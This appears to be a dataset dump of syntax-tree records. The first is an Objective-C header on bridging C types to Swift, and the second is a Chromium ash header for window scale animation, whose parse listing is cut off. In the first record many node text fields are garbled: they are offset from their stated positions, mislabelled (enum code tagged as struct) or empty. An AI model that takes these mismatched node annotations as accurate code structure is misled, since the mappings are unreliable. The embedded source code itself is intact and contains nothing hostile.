{"id": 141, "type": "identifier", "text": "origin(n", "parent": 140, "children": [], "start_point": {"row": 51, "column": 43}, "end_point": {"row": 51, "column": 51}}, {"id": 142, "type": "call_expression", "text": "wOrigin:)", "parent": 139, "children": [143, 144], "start_point": {"row": 51, "column": 52}, "end_point": {"row": 51, "column": 61}}, {"id": 143, "type": "identifier", "text": "wOri", "parent": 142, "children": [], "start_point": {"row": 51, "column": 52}, "end_point": {"row": 51, "column": 56}}, {"id": 144, "type": "argument_list", "text": "gin:)", "parent": 142, "children": [145], "start_point": {"row": 51, "column": 56}, "end_point": {"row": 51, "column": 61}}, {"id": 145, "type": "identifier", "text": "in", "parent": 144, "children": [], "start_point": {"row": 51, "column": 57}, "end_point": {"row": 51, "column": 59}}, {"id": 146, "type": "ERROR", "text": "union {\n char character;\n int code;\n} ASCII;\n\n\n// struct a", "parent": 3, "children": [147, 148], "start_point": {"row": 54, "column": 0}, "end_point": {"row": 54, "column": 64}}, {"id": 147, "type": "type_identifier", "text": "union {\n", "parent": 146, "children": [], "start_point": {"row": 54, "column": 0}, "end_point": {"row": 54, "column": 8}}, {"id": 148, "type": "function_declarator", "text": " char character;\n int code;\n} ASCII;\n\n\n// struct a", "parent": 146, "children": [149, 150, 153], "start_point": {"row": 54, "column": 9}, "end_point": {"row": 54, "column": 64}}, {"id": 149, "type": "identifier", "text": " char c", "parent": 148, "children": [], "start_point": {"row": 54, "column": 9}, "end_point": {"row": 54, "column": 18}}, {"id": 150, "type": "parameter_list", "text": "haract", "parent": 148, "children": [151], "start_point": {"row": 54, "column": 18}, "end_point": {"row": 54, "column": 24}}, {"id": 151, "type": "parameter_declaration", "text": "arac", "parent": 150, "children": [152], "start_point": {"row": 54, "column": 19}, "end_point": {"row": 54, "column": 23}}, {"id": 152, "type": "primitive_type", "text": "arac", "parent": 151, "children": [], "start_point": {"row": 54, "column": 19}, "end_point": {"row": 54, "column": 23}}, {"id": 153, "type": "call_expression", "text": "r;\n int code;\n} ASCII;\n\n\n// struct a", "parent": 148, "children": [154, 155], "start_point": {"row": 54, "column": 25}, "end_point": {"row": 54, "column": 64}}, {"id": 154, "type": "identifier", "text": "r;\n int co", "parent": 153, "children": [], "start_point": {"row": 54, "column": 25}, "end_point": {"row": 54, "column": 38}}, {"id": 155, "type": "argument_list", "text": "de;\n} ASCII;\n\n\n// struct a", "parent": 153, "children": [156, 159], "start_point": {"row": 54, "column": 38}, "end_point": {"row": 54, "column": 64}}, {"id": 156, "type": "ERROR", "text": "e;\n} ASCII;\n\n\n//", "parent": 155, "children": [157, 158], "start_point": {"row": 54, "column": 39}, "end_point": {"row": 54, "column": 55}}, {"id": 157, "type": "identifier", "text": "e;\n} A", "parent": 156, "children": [], "start_point": {"row": 54, "column": 39}, "end_point": {"row": 54, "column": 45}}, {"id": 158, "type": "identifier", "text": "CII;\n\n\n/", "parent": 156, "children": [], "start_point": {"row": 54, "column": 46}, "end_point": {"row": 54, "column": 54}}, {"id": 159, "type": "call_expression", "text": " struct ", "parent": 155, "children": [160, 161], "start_point": {"row": 54, "column": 55}, "end_point": {"row": 54, "column": 63}}, {"id": 160, "type": "identifier", "text": " struc", "parent": 159, "children": [], "start_point": {"row": 54, "column": 55}, "end_point": {"row": 54, "column": 61}}, {"id": 161, "type": "argument_list", "text": "t ", "parent": 159, "children": [], "start_point": {"row": 54, "column": 61}, "end_point": {"row": 54, "column": 63}}, {"id": 162, "type": "ERROR", "text": "pedef struct {\n union {\n char model;\n int series;\n };\n ", "parent": 3, "children": [163, 164, 168], "start_point": {"row": 56, "column": 0}, "end_point": {"row": 56, "column": 78}}, {"id": 163, "type": "type_identifier", "text": "pedef st", "parent": 162, "children": [], "start_point": {"row": 56, "column": 0}, "end_point": {"row": 56, "column": 8}}, {"id": 164, "type": "function_declarator", "text": "uct {\n union {\n ", "parent": 162, "children": [165, 166], "start_point": {"row": 56, "column": 9}, "end_point": {"row": 56, "column": 28}}, {"id": 165, "type": "identifier", "text": "uct {\n ", "parent": 164, "children": [], "start_point": {"row": 56, "column": 9}, "end_point": {"row": 56, "column": 18}}, {"id": 166, "type": "parameter_list", "text": " union {\n ", "parent": 164, "children": [167], "start_point": {"row": 56, "column": 18}, "end_point": {"row": 56, "column": 28}}, {"id": 167, "type": "identifier", "text": "union {\n", "parent": 166, "children": [], "start_point": {"row": 56, "column": 19}, "end_point": {"row": 56, "column": 27}}, {"id": 168, "type": "macro_type_specifier", "text": " char model;\n int series;\n };\n ", "parent": 162, "children": [169, 170, 173, 175], "start_point": {"row": 56, "column": 29}, "end_point": {"row": 56, "column": 77}}, {"id": 169, "type": "identifier", "text": " char mo", "parent": 168, "children": [], "start_point": {"row": 56, "column": 29}, "end_point": {"row": 56, "column": 42}}, {"id": 170, "type": "ERROR", "text": "el;\n ", "parent": 168, "children": [171], "start_point": {"row": 56, "column": 43}, "end_point": {"row": 56, "column": 50}}, {"id": 171, "type": "type_descriptor", "text": "el;\n ", "parent": 170, "children": [172], "start_point": {"row": 56, "column": 43}, "end_point": {"row": 56, "column": 49}}, {"id": 172, "type": "type_identifier", "text": "el;\n ", "parent": 171, "children": [], "start_point": {"row": 56, "column": 43}, "end_point": {"row": 56, "column": 49}}, {"id": 173, "type": "type_descriptor", "text": " int", "parent": 168, "children": [174], "start_point": {"row": 56, "column": 50}, "end_point": {"row": 56, "column": 58}}, {"id": 174, "type": "type_identifier", "text": " int", "parent": 173, "children": [], "start_point": {"row": 56, "column": 50}, "end_point": {"row": 56, "column": 58}}, {"id": 175, "type": "ERROR", "text": " series;\n };\n ", "parent": 168, "children": [176, 177], "start_point": {"row": 56, "column": 58}, "end_point": {"row": 56, "column": 76}}, {"id": 176, "type": "identifier", "text": "series", "parent": 175, "children": [], "start_point": {"row": 56, "column": 59}, "end_point": {"row": 56, "column": 65}}, {"id": 177, "type": "identifier", "text": "\n };\n ", "parent": 175, "children": [], "start_point": {"row": 56, "column": 66}, "end_point": {"row": 56, "column": 75}}, {"id": 178, "type": "type_definition", "text": " struct {\n double pricing;\n bool isAvailable", "parent": 3, "children": [179, 180, 187], "start_point": {"row": 59, "column": 0}, "end_point": {"row": 62, "column": 8}}, {"id": 179, "type": "typedef", "text": " struct", "parent": 178, "children": [], "start_point": {"row": 59, "column": 0}, "end_point": {"row": 59, "column": 7}}, {"id": 180, "type": "union_specifier", "text": "{\n double pricing;\n bool isAv", "parent": 178, "children": [], "start_point": {"row": 59, "column": 8}, "end_point": {"row": 62, "column": 1}}, {"id": 181, "type": "field_declaration", "text": "uble pricing;\n ", "parent": 180, "children": [182, 183], "start_point": {"row": 60, "column": 4}, "end_point": {"row": 60, "column": 19}}, {"id": 182, "type": "primitive_type", "text": "uble", "parent": 181, "children": [], "start_point": {"row": 60, "column": 4}, "end_point": {"row": 60, "column": 8}}, {"id": 183, "type": "field_identifier", "text": "pricing;\n", "parent": 181, "children": [], "start_point": {"row": 60, "column": 9}, "end_point": {"row": 60, "column": 18}}, {"id": 184, "type": "field_declaration", "text": " bool is", "parent": 180, "children": [185, 186], "start_point": {"row": 61, "column": 4}, "end_point": {"row": 61, "column": 13}}, {"id": 185, "type": "primitive_type", "text": " b", "parent": 184, "children": [], "start_point": {"row": 61, "column": 4}, "end_point": {"row": 61, "column": 7}}, {"id": 186, "type": "field_identifier", "text": "ol i", "parent": 184, "children": [], "start_point": {"row": 61, "column": 8}, "end_point": {"row": 61, "column": 12}}, {"id": 187, "type": "type_identifier", "text": "ilabl", "parent": 178, "children": [], "start_point": {"row": 62, "column": 2}, "end_point": {"row": 62, "column": 7}}, {"id": 188, "type": "type_definition", "text": ";\n\n\n#pragma mark - 4 enum\ntypedef enum {\n BMW,AUDI,BENZ\n}CarType;\n\n/*\n \u91cc\u9762\u6709\u4e24\u4e2a\u53c2\u6570\uff1a\n - \u7b2c\u4e00\u4e2a\u53c2\u6570\u662f\u7c7b\u578b\n - \u7b2c\u4e8c\u4e2a\u662fenum\u540d\u79f0\n */\ntypedef NS_ENUM(int,PQCarType) {\n PQBMW,PQAUDI,PQB", "parent": 3, "children": [189, 190, 211], "start_point": {"row": 66, "column": 0}, "end_point": {"row": 77, "column": 6}}, {"id": 189, "type": "typedef", "text": ";\n\n\n#pr", "parent": 188, "children": [], "start_point": {"row": 66, "column": 0}, "end_point": {"row": 66, "column": 7}}, {"id": 190, "type": "struct_specifier", "text": "gma mark - 4 enum\ntypedef enum {\n BMW,AUDI,BENZ\n}CarType;\n\n/*\n \u91cc\u9762\u6709\u4e24\u4e2a\u53c2\u6570\uff1a\n - \u7b2c\u4e00\u4e2a\u53c2\u6570\u662f\u7c7b\u578b\n - \u7b2c\u4e8c\u4e2a\u662fenum\u540d\u79f0\n */\ntypedef NS_ENUM(int,PQCarType) {\n PQBMW,PQAUD", "parent": 188, "children": [191], "start_point": {"row": 66, "column": 8}, "end_point": {"row": 77, "column": 1}}, {"id": 191, "type": "struct", "text": "gma ma", "parent": 190, "children": [], "start_point": {"row": 66, "column": 8}, "end_point": {"row": 66, "column": 14}}, {"id": 192, "type": "field_declaration", "text": "enum\ntypedef enum {\n BMW,AUDI,BENZ\n}CarType;\n\n/*\n \u91cc", "parent": 190, "children": [193], "start_point": {"row": 67, "column": 4}, "end_point": {"row": 70, "column": 6}}, {"id": 193, "type": "union_specifier", "text": "enum\ntypedef enum {\n BMW,AUDI,BENZ\n}CarType;\n\n/*\n ", "parent": 192, "children": [194], "start_point": {"row": 67, "column": 4}, "end_point": {"row": 70, "column": 5}}, {"id": 194, "type": "union", "text": "enum\n", "parent": 193, "children": [], "start_point": {"row": 67, "column": 4}, "end_point": {"row": 67, "column": 9}}, {"id": 195, "type": "field_declaration", "text": "m {\n BMW", "parent": 193, "children": [196, 197], "start_point": {"row": 68, "column": 8}, "end_point": {"row": 68, "column": 19}}, {"id": 196, "type": "primitive_type", "text": "m {\n", "parent": 195, "children": [], "start_point": {"row": 68, "column": 8}, "end_point": {"row": 68, "column": 12}}, {"id": 197, "type": "field_identifier", "text": " BM", "parent": 195, "children": [], "start_point": {"row": 68, "column": 13}, "end_point": {"row": 68, "column": 18}}, {"id": 198, "type": "field_declaration", "text": "Z\n}CarType;", "parent": 193, "children": [199, 200], "start_point": {"row": 69, "column": 8}, "end_point": {"row": 69, "column": 19}}, {"id": 199, "type": "primitive_type", "text": "Z\n}", "parent": 198, "children": [], "start_point": {"row": 69, "column": 8}, "end_point": {"row": 69, "column": 11}}, {"id": 200, "type": "field_identifier", "text": "arType", "parent": 198, "children": [], "start_point": {"row": 69, "column": 12}, "end_point": {"row": 69, "column": 18}}, {"id": 201, "type": "field_declaration", "text": " \u7b2c\u4e00\u4e2a\u53c2\u6570\u662f\u7c7b\u578b\n - \u7b2c\u4e8c\u4e2a\u662fenum\u540d\u79f0\n */\ntypedef NS_ENUM(int,PQCarType) {\n PQBM", "parent": 190, "children": [202, 210], "start_point": {"row": 72, "column": 4}, "end_point": {"row": 75, "column": 10}}, {"id": 202, "type": "struct_specifier", "text": " \u7b2c\u4e00\u4e2a\u53c2\u6570\u662f\u7c7b\u578b\n - \u7b2c\u4e8c\u4e2a\u662fenum\u540d\u79f0\n */\ntypedef NS_ENUM(int,PQCarType) {\n ", "parent": 201, "children": [203], "start_point": {"row": 72, "column": 4}, "end_point": {"row": 75, "column": 5}}, {"id": 203, "type": "struct", "text": " \u7b2c\u4e00\u4e2a\u53c2\u6570", "parent": 202, "children": [], "start_point": {"row": 72, "column": 4}, "end_point": {"row": 72, "column": 10}}, {"id": 204, "type": "field_declaration", "text": "enum\u540d\u79f0\n */\ntype", "parent": 202, "children": [205, 206], "start_point": {"row": 73, "column": 8}, "end_point": {"row": 73, "column": 23}}, {"id": 205, "type": "primitive_type", "text": "enum\u540d\u79f0", "parent": 204, "children": [], "start_point": {"row": 73, "column": 8}, "end_point": {"row": 73, "column": 14}}, {"id": 206, "type": "field_identifier", "text": " */\ntyp", "parent": 204, "children": [], "start_point": {"row": 73, "column": 15}, "end_point": {"row": 73, "column": 22}}, {"id": 207, "type": "field_declaration", "text": "UM(int,PQCarType)", "parent": 202, "children": [208, 209], "start_point": {"row": 74, "column": 8}, "end_point": {"row": 74, "column": 25}}, {"id": 208, "type": "primitive_type", "text": "UM(i", "parent": 207, "children": [], "start_point": {"row": 74, "column": 8}, "end_point": {"row": 74, "column": 12}}, {"id": 209, "type": "field_identifier", "text": "t,PQCarType", "parent": 207, "children": [], "start_point": {"row": 74, "column": 13}, "end_point": {"row": 74, "column": 24}}, {"id": 210, "type": "field_identifier", "text": " PQB", "parent": 201, "children": [], "start_point": {"row": 75, "column": 5}, "end_point": {"row": 75, "column": 9}}, {"id": 211, "type": "type_identifier", "text": ",PQ", "parent": 188, "children": [], "start_point": {"row": 77, "column": 2}, "end_point": {"row": 77, "column": 5}}, {"id": 212, "type": "preproc_call", "text": "\n};\n\n\n#endif\n", "parent": 3, "children": [213, 214], "start_point": {"row": 80, "column": 0}, "end_point": {"row": 81, "column": 0}}, {"id": 213, "type": "preproc_directive", "text": "\n};\n\n\n#", "parent": 212, "children": [], "start_point": {"row": 80, "column": 0}, "end_point": {"row": 80, "column": 7}}, {"id": 214, "type": "preproc_arg", "text": "ndif\n", "parent": 212, "children": [], "start_point": {"row": 80, "column": 8}, "end_point": {"row": 80, "column": 21}}, {"id": 215, "type": "type_definition", "text": "", "parent": 3, "children": [216, 217, 226], "start_point": {"row": 81, "column": 0}, "end_point": {"row": 83, "column": 9}}, {"id": 216, "type": "typedef", "text": "", "parent": 215, "children": [], "start_point": {"row": 81, "column": 0}, "end_point": {"row": 81, "column": 7}}, {"id": 217, "type": "enum_specifier", "text": "", "parent": 215, "children": [218, 219], "start_point": {"row": 81, "column": 8}, "end_point": {"row": 83, "column": 1}}, {"id": 218, "type": "enum", "text": "", "parent": 217, "children": [], "start_point": {"row": 81, "column": 8}, "end_point": {"row": 81, "column": 12}}, {"id": 219, "type": "enumerator_list", "text": "", "parent": 217, "children": [220, 222, 224], "start_point": {"row": 81, "column": 13}, "end_point": {"row": 83, "column": 1}}, {"id": 220, "type": "enumerator", "text": "", "parent": 219, "children": [221], "start_point": {"row": 82, "column": 4}, "end_point": {"row": 82, "column": 7}}, {"id": 221, "type": "identifier", "text": "", "parent": 220, "children": [], "start_point": {"row": 82, "column": 4}, "end_point": {"row": 82, "column": 7}}, {"id": 222, "type": "enumerator", "text": "", "parent": 219, "children": [223], "start_point": {"row": 82, "column": 8}, "end_point": {"row": 82, "column": 12}}, {"id": 223, "type": "identifier", "text": "", "parent": 222, "children": [], "start_point": {"row": 82, "column": 8}, "end_point": {"row": 82, "column": 12}}, {"id": 224, "type": "enumerator", "text": "", "parent": 219, "children": [225], "start_point": {"row": 82, "column": 13}, "end_point": {"row": 82, "column": 17}}, {"id": 225, "type": "identifier", "text": "", "parent": 224, "children": [], "start_point": {"row": 82, "column": 13}, "end_point": {"row": 82, "column": 17}}, {"id": 226, "type": "type_identifier", "text": "", "parent": 215, "children": [], "start_point": {"row": 83, "column": 1}, "end_point": {"row": 83, "column": 8}}, {"id": 227, "type": "type_definition", "text": "", "parent": 3, "children": [228, 229, 236, 237, 238, 239, 240], "start_point": {"row": 90, "column": 0}, "end_point": {"row": 92, "column": 2}}, {"id": 228, "type": "typedef", "text": "", "parent": 227, "children": [], "start_point": {"row": 90, "column": 0}, "end_point": {"row": 90, "column": 7}}, {"id": 229, "type": "macro_type_specifier", "text": "", "parent": 227, "children": [230, 231, 234], "start_point": {"row": 90, "column": 8}, "end_point": {"row": 90, "column": 30}}, {"id": 230, "type": "identifier", "text": "", "parent": 229, "children": [], "start_point": {"row": 90, "column": 8}, "end_point": {"row": 90, "column": 15}}, {"id": 231, "type": "ERROR", "text": "", "parent": 229, "children": [232], "start_point": {"row": 90, "column": 16}, "end_point": {"row": 90, "column": 20}}, {"id": 232, "type": "type_descriptor", "text": "", "parent": 231, "children": [233], "start_point": {"row": 90, "column": 16}, "end_point": {"row": 90, "column": 19}}, {"id": 233, "type": "primitive_type", "text": "", "parent": 232, "children": [], "start_point": {"row": 90, "column": 16}, "end_point": {"row": 90, "column": 19}}, {"id": 234, "type": "type_descriptor", "text": "", "parent": 229, "children": [235], "start_point": {"row": 90, "column": 20}, "end_point": {"row": 90, "column": 29}}, {"id": 235, "type": "type_identifier", "text": "", "parent": 234, "children": [], "start_point": {"row": 90, "column": 20}, "end_point": {"row": 90, "column": 29}}, {"id": 236, "type": "ERROR", "text": "", "parent": 227, "children": [], "start_point": {"row": 90, "column": 31}, "end_point": {"row": 90, "column": 32}}, {"id": 237, "type": "type_identifier", "text": "", "parent": 227, "children": [], "start_point": {"row": 91, "column": 4}, "end_point": {"row": 91, "column": 9}}, {"id": 238, "type": "type_identifier", "text": "", "parent": 227, "children": [], "start_point": {"row": 91, "column": 10}, "end_point": {"row": 91, "column": 16}}, {"id": 239, "type": "type_identifier", "text": "", "parent": 227, "children": [], "start_point": {"row": 91, "column": 17}, "end_point": {"row": 91, "column": 23}}, {"id": 240, "type": "ERROR", "text": "", "parent": 227, "children": [], "start_point": {"row": 92, "column": 0}, "end_point": {"row": 92, "column": 1}}, {"id": 241, "type": "#endif", "text": "", "parent": 3, "children": [], "start_point": {"row": 95, "column": 0}, "end_point": {"row": 95, "column": 6}}]}, "node_categories": {"declarations": {"functions": [58, 68, 77, 98, 121, 132, 148, 164], "variables": [12, 16, 23, 27, 31, 35, 41, 45, 49, 56, 61, 64, 66, 71, 75, 80, 82, 87, 91, 101, 104, 119, 124, 127, 135, 151, 178, 181, 184, 188, 192, 195, 198, 201, 204, 207, 215, 227], "classes": [89, 90, 180, 190, 191, 193, 194, 202, 203], "imports": [], "modules": [], "enums": [217, 218, 219, 220, 222, 224]}, "statements": {"expressions": [107, 112, 137, 142, 153, 159], "assignments": [], "loops": [], "conditionals": [3, 4, 5, 8, 13, 15, 18, 21, 22, 24, 25, 26, 28, 29, 30, 32, 33, 34, 39, 40, 42, 43, 44, 46, 47, 48, 50, 51, 52, 59, 63, 65, 69, 78, 83, 93, 94, 95, 97, 99, 102, 103, 106, 108, 111, 113, 116, 117, 120, 122, 125, 126, 129, 131, 133, 138, 141, 143, 145, 147, 149, 154, 157, 158, 160, 163, 165, 167, 168, 169, 172, 174, 176, 177, 183, 186, 187, 197, 200, 206, 209, 210, 211, 221, 223, 225, 226, 229, 230, 235, 237, 238, 239, 241], "returns": [], "exceptions": []}, "expressions": {"calls": [0, 9, 53, 84, 212], "literals": [], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 58, "universal_type": "function", "name": "unknown", "text_snippet": "t, va_list);\n\n\n#p"}, {"node_id": 68, "universal_type": "function", "name": "unknown", "text_snippet": "mark - 3 stru"}, {"node_id": 77, "universal_type": "function", "name": "unknown", "text_snippet": "nique \u5f15\u7528\n\ntypedef "}, {"node_id": 98, "universal_type": "function", "name": "unknown", "text_snippet": "int) CF_SWIFT_NAME(Location.init(xy:));\n\n//getter\nLocation getOrigin(void"}, {"node_id": 121, "universal_type": "function", "name": "unknown", "text_snippet": "NAME(getter:Location.origin())"}, {"node_id": 132, "universal_type": "function", "name": "unknown", "text_snippet": "on) CF_SWIFT_NAME(setter:Location.origin(newOrigin:))"}, {"node_id": 148, "universal_type": "function", "name": "code;", "text_snippet": " char character;\n int code;\n} ASCII;\n\n\n// struct a"}, {"node_id": 164, "universal_type": "function", "name": "{", "text_snippet": "uct {\n union {\n "}], "class_declarations": [{"node_id": 89, "universal_type": "class", "name": "unknown", "text_snippet": "\u7684\u662f\u5168\u5c40\u65b9\u6cd5\uff0c\u6240\u4ee5\u8981\u8fd9\u6837\u5b50\u8c03\u7528\uff0c\u5982\u4f55\u53d8\u6210\u5bf9\u8c61"}, {"node_id": 90, "universal_type": "class", "name": "unknown", "text_snippet": "\u7684\u662f\u5168\u5c40\u65b9\u6cd5"}, {"node_id": 180, "universal_type": "class", "name": "isAv", "text_snippet": "{\n double pricing;\n bool isAv"}, {"node_id": 190, "universal_type": "class", "name": "unknown", "text_snippet": "gma mark - 4 enum\ntypedef enum {\n BMW,AUDI,BENZ\n}CarType;\n\n/*\n \u91cc\u9762\u6709\u4e24\u4e2a\u53c2\u6570\uff1a\n - \u7b2c\u4e00\u4e2a\u53c2\u6570\u662f\u7c7b\u578b\n - \u7b2c\u4e8c\u4e2a\u662fenum\u540d\u79f0"}, {"node_id": 191, "universal_type": "class", "name": "unknown", "text_snippet": "gma ma"}, {"node_id": 193, "universal_type": "class", "name": "unknown", "text_snippet": "enum\ntypedef enum {\n BMW,AUDI,BENZ\n}CarType;\n\n/*\n "}, {"node_id": 194, "universal_type": "class", "name": "unknown", "text_snippet": "enum\n"}, {"node_id": 202, "universal_type": "class", "name": "unknown", "text_snippet": " \u7b2c\u4e00\u4e2a\u53c2\u6570\u662f\u7c7b\u578b\n - \u7b2c\u4e8c\u4e2a\u662fenum\u540d\u79f0\n */\ntypedef NS_ENUM(int,PQCarType) {\n "}, {"node_id": 203, "universal_type": "class", "name": "unknown", "text_snippet": " \u7b2c\u4e00\u4e2a\u53c2\u6570"}], "import_statements": []}, "original_source_code": "//\n// CFile.h\n// CAndSwift\n//\n// Created by \u76d8\u56fd\u6743 on 2018/4/29.\n// Copyright \u00a9 2018\u5e74 pgq. All rights reserved.\n//\n\n#import <Foundation/Foundation.h>\n\n#ifndef CFile\n#define CFile\n\n#pragma mark - 1 \u53d8\u91cf\u5f15\u7528\nconst int global_ten;\n\n// NS_STRING_ENUM \u901a\u5e38\u8868\u793a\u503c\u56fa\u5b9a\ntypedef NSString * PQButtonColor NS_STRING_ENUM;\n\nPQButtonColor const PQButtonColorRed;\nPQButtonColor const PQButtonColorGreen;\nPQButtonColor const PQButtonColorBlue;\n\n// NS_EXTENSIBLE_STRING_ENUM \u8868\u793a\u53ef\u6269\u5c55\ntypedef int Shape NS_EXTENSIBLE_STRING_ENUM;\n\nShape const ShapeCircle;\nShape const ShapeTriangle;\nShape const ShapeSquare;\n\n\n\n#pragma mark - 2 \u51fd\u6570\u5f15\u7528\nint add(int a, int b);\nint sum(int, ...);\nint vsum(int, va_list);\n\n\n#pragma mark - 3 struct \u548c unique \u5f15\u7528\n\ntypedef struct{\n int x,y;\n}Location;\n\n//\u4e3astruct\u6dfb\u52a0\u65b9\u6cd5\n//ps \u56e0\u4e3a\u5199\u7684\u662f\u5168\u5c40\u65b9\u6cd5\uff0c\u6240\u4ee5\u8981\u8fd9\u6837\u5b50\u8c03\u7528\uff0c\u5982\u4f55\u53d8\u6210\u5bf9\u8c61\u8c03\u7528\u5462\uff1f\n// \u4f7f\u7528CF_SWIFT_NAME\u4fee\u9970\u8fd9\u4e2a\u65b9\u6cd5\uff0c\u628aname\u53d8\u6210\u7b7e\u540d \nLocation moveX(Location loc, int delta) CF_SWIFT_NAME(Location.moveX(self:delta:));\nLocation moveY(Location loc, int delta);\n\n//\u5de5\u5382\u65b9\u6cd5\u7684\u521b\u5efa\nLocation createLocation(int) CF_SWIFT_NAME(Location.init(xy:));\n\n//getter\nLocation getOrigin(void) CF_SWIFT_NAME(getter:Location.origin());\n//setter\nLocation setOrigin(Location) CF_SWIFT_NAME(setter:Location.origin(newOrigin:));\n\n\ntypedef union {\n char character;\n int code;\n} ASCII;\n\n\n// struct and union\ntypedef struct {\n union {\n char model;\n int series;\n };\n \n struct {\n double pricing;\n bool isAvailable;\n }info;\n \n} Car;\n\n\n#pragma mark - 4 enum\ntypedef enum {\n BMW,AUDI,BENZ\n}CarType;\n\n/*\n \u91cc\u9762\u6709\u4e24\u4e2a\u53c2\u6570\uff1a\n - \u7b2c\u4e00\u4e2a\u53c2\u6570\u662f\u7c7b\u578b\n - \u7b2c\u4e8c\u4e2a\u662fenum\u540d\u79f0\n */\ntypedef NS_ENUM(int,PQCarType) {\n PQBMW,PQAUDI,PQBENZ\n};\n\n\n#endif\n"}
81,127
c
// Copyright 2019 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef ASH_SHELF_WINDOW_SCALE_ANIMATION_H_ #define ASH_SHELF_WINDOW_SCALE_ANIMATION_H_ #include <memory> #include <vector> #include "ash/ash_export.h" #include "base/auto_reset.h" #include "base/callback.h" #include "base/callback_helpers.h" #include "base/macros.h" #include "base/scoped_observation.h" #include "ui/aura/window.h" namespace ash { enum class BackdropWindowMode; // The class which does the scale-down animation to shelf or scale-up to restore // to its original bounds for all windows in the transient tree of |window_| // after drag ends. Window(s) will be minimized with the descending order // in the transient tree after animation completes if we're scaling down to // shelf. class ASH_EXPORT WindowScaleAnimation { public: enum class WindowScaleType { kScaleDownToShelf, kScaleUpToRestore, }; WindowScaleAnimation(aura::Window* window, WindowScaleType scale_type, base::OnceClosure opt_callback); WindowScaleAnimation(const WindowScaleAnimation&) = delete; WindowScaleAnimation& operator=(const WindowScaleAnimation&) = delete; ~WindowScaleAnimation(); // For tests only: static base::AutoReset<bool> EnableScopedFastAnimationForTransientChildForTest(); private: class AnimationObserver; void DestroyWindowAnimationObserver( WindowScaleAnimation::AnimationObserver* animation_observer); void OnScaleWindowsOnAnimationsCompleted(); aura::Window* window_; base::OnceClosure opt_callback_; const WindowScaleType scale_type_; // Each window in the transient tree has its own |WindowAnimationObserver|. std::vector<std::unique_ptr<AnimationObserver>> window_animation_observers_; }; } // namespace ash #endif // ASH_SHELF_WINDOW_SCALE_ANIMATION_H_
38.37
49
(translation_unit) "// Copyright 2019 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef ASH_SHELF_WINDOW_SCALE_ANIMATION_H_\n#define ASH_SHELF_WINDOW_SCALE_ANIMATION_H_\n\n#include <memory>\n#include <vector>\n\n#include "ash/ash_export.h"\n#include "base/auto_reset.h"\n#include "base/callback.h"\n#include "base/callback_helpers.h"\n#include "base/macros.h"\n#include "base/scoped_observation.h"\n#include "ui/aura/window.h"\n\nnamespace ash {\n\nenum class BackdropWindowMode;\n\n// The class which does the scale-down animation to shelf or scale-up to restore\n// to its original bounds for all windows in the transient tree of |window_|\n// after drag ends. Window(s) will be minimized with the descending order\n// in the transient tree after animation completes if we're scaling down to\n// shelf.\nclass ASH_EXPORT WindowScaleAnimation {\n public:\n enum class WindowScaleType {\n kScaleDownToShelf,\n kScaleUpToRestore,\n };\n\n WindowScaleAnimation(aura::Window* window,\n WindowScaleType scale_type,\n base::OnceClosure opt_callback);\n\n WindowScaleAnimation(const WindowScaleAnimation&) = delete;\n WindowScaleAnimation& operator=(const WindowScaleAnimation&) = delete;\n\n ~WindowScaleAnimation();\n\n // For tests only:\n static base::AutoReset<bool>\n EnableScopedFastAnimationForTransientChildForTest();\n\n private:\n class AnimationObserver;\n\n void DestroyWindowAnimationObserver(\n WindowScaleAnimation::AnimationObserver* animation_observer);\n\n void OnScaleWindowsOnAnimationsCompleted();\n\n aura::Window* window_;\n base::OnceClosure opt_callback_;\n\n const WindowScaleType scale_type_;\n\n // Each window in the transient tree has its own |WindowAnimationObserver|.\n std::vector<std::unique_ptr<AnimationObserver>> window_animation_observers_;\n};\n\n} // namespace ash\n\n#endif // ASH_SHELF_WINDOW_SCALE_ANIMATION_H_\n" (comment) "// Copyright 2019 The Chromium Authors. All rights reserved." (comment) "// Use of this source code is governed by a BSD-style license that can be" (comment) "// found in the LICENSE file." (preproc_ifdef) "#ifndef ASH_SHELF_WINDOW_SCALE_ANIMATION_H_\n#define ASH_SHELF_WINDOW_SCALE_ANIMATION_H_\n\n#include <memory>\n#include <vector>\n\n#include "ash/ash_export.h"\n#include "base/auto_reset.h"\n#include "base/callback.h"\n#include "base/callback_helpers.h"\n#include "base/macros.h"\n#include "base/scoped_observation.h"\n#include "ui/aura/window.h"\n\nnamespace ash {\n\nenum class BackdropWindowMode;\n\n// The class which does the scale-down animation to shelf or scale-up to restore\n// to its original bounds for all windows in the transient tree of |window_|\n// after drag ends. Window(s) will be minimized with the descending order\n// in the transient tree after animation completes if we're scaling down to\n// shelf.\nclass ASH_EXPORT WindowScaleAnimation {\n public:\n enum class WindowScaleType {\n kScaleDownToShelf,\n kScaleUpToRestore,\n };\n\n WindowScaleAnimation(aura::Window* window,\n WindowScaleType scale_type,\n base::OnceClosure opt_callback);\n\n WindowScaleAnimation(const WindowScaleAnimation&) = delete;\n WindowScaleAnimation& operator=(const WindowScaleAnimation&) = delete;\n\n ~WindowScaleAnimation();\n\n // For tests only:\n static base::AutoReset<bool>\n EnableScopedFastAnimationForTransientChildForTest();\n\n private:\n class AnimationObserver;\n\n void DestroyWindowAnimationObserver(\n WindowScaleAnimation::AnimationObserver* animation_observer);\n\n void OnScaleWindowsOnAnimationsCompleted();\n\n aura::Window* window_;\n base::OnceClosure opt_callback_;\n\n const WindowScaleType scale_type_;\n\n // Each window in the transient tree has its own |WindowAnimationObserver|.\n std::vector<std::unique_ptr<AnimationObserver>> window_animation_observers_;\n};\n\n} // namespace ash\n\n#endif" (#ifndef) "#ifndef" (identifier) "ASH_SHELF_WINDOW_SCALE_ANIMATION_H_" (preproc_def) "#define ASH_SHELF_WINDOW_SCALE_ANIMATION_H_\n" (#define) "#define" (identifier) "ASH_SHELF_WINDOW_SCALE_ANIMATION_H_" (preproc_include) "#include <memory>\n" (#include) "#include" (system_lib_string) "<memory>" (preproc_include) "#include <vector>\n" (#include) "#include" (system_lib_string) "<vector>" (preproc_include) "#include "ash/ash_export.h"\n" (#include) "#include" (string_literal) ""ash/ash_export.h"" (") """ (string_content) "ash/ash_export.h" (") """ (preproc_include) "#include "base/auto_reset.h"\n" (#include) "#include" (string_literal) ""base/auto_reset.h"" (") """ (string_content) "base/auto_reset.h" (") """ 